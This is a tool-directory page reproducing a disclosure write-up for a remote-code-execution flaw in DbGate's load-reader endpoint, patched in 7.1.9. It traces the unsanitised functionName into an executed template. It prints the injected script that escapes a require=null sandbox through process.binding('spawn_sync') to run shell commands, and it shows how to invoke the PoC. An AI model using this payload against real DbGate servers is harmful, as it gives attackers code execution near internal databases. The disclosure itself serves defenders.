Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48017 — Remote Code Execution in DbGate via functionName injection in the loadReader endpoint — CVSS 8.8 | Kitploit
Ferramentas/GitHubGitHub/romain-deperne/cve-2026-48017
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubromain-deperne/cve-2026-48017

CVE-2026-48017

Remote Code Execution in DbGate via functionName injection in the loadReader endpoint — CVSS 8.8

Ver Repositório
16há 23 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2026-48017 — Remote Code Execution in DbGate via functionName injection

Severity: High (CVSS 8.8) CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection') Affected: dbgate-api ≤ 7.1.8 (patched in 7.1.9) Advisory: GHSA-hv83-ggc4-v385 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017 Credit: Romain Deperne

TL;DR

The POST /runners/load-reader endpoint takes a functionName parameter and interpolates it directly into a JavaScript template string that is then executed in a forked process — with no sanitization or validation. Any authenticated user (no special permission needed) can break out of the intended call and run arbitrary JavaScript, achieving remote code execution on the server.

The forked runner sets require = null as a sandbox, but process.binding("spawn_sync") remains reachable: process.binding("spawn_sync") is still reachable and spawns a real OS process.

Analysis

I was auditing DbGate's runner subsystem for the gap between guarded and unguarded code-exec paths. The start() runner at runners.js:292 is properly gated — it calls testStandardPermission('run-shell-script') and checks platformInfo.allowShellScripting.

loadReader() does the conceptually-similar thing (it builds and runs a JS loader script) but has none of those checks. I traced the data flow:

runners.js:353  loadReader({ functionName, props })
runners.js:366  loaderScriptTemplate(prefix, functionName, ...)
runners.js:64   `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33  return `dbgateApi.${functionName}`   // ← no sanitization

functionName is attacker-controlled and lands inside an executed template string. The dbgateApi. prefix is the only thing in front of it, and it is escapable: closing the expression with toString();, injecting the payload, and commenting out the trailing (${props}) with // yields valid JS.

Affected component

File: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate) File: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)

// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;

// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`

Generated (injected) script:

const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});

Root cause

compileShellApiFunctionName() was written to turn a short name into a fully-qualified API path (dbgateApi.<name>), implicitly trusting functionName to be an identifier. The value, however, comes straight from the HTTP request body. Because it is concatenated into source that is later eval/forked, the trust assumption is an RCE. The require = null sandbox does not help — Node's internal process.binding("spawn_sync") bypasses it.

Fix (7.1.9): validate functionName against a strict identifier allow-list before compiling it into the loader script.

Proof of Concept

poc/rce_loadreader_functionname_injection.py — drives the real endpoint end-to-end.

# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'

# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'

The script builds the functionName payload, sends it to POST /runners/load-reader, and the injected spawn_sync call executes the command in the forked runner process.

Disclosure timeline

  • Reported privately to the maintainer via GitHub Security Advisory
  • Fixed in DbGate 7.1.9
  • Advisory GHSA-hv83-ggc4-v385 published 2026-05-22; CVE-2026-48017 assigned

Impact

Authenticated RCE on the DbGate API host. DbGate is a database management GUI frequently deployed with broad network reach to internal databases — code execution on it is a strong pivot into the data tier.


Disclosed responsibly. PoC published after the fix shipped, for defenders and detection engineering.

Baixar ferramenta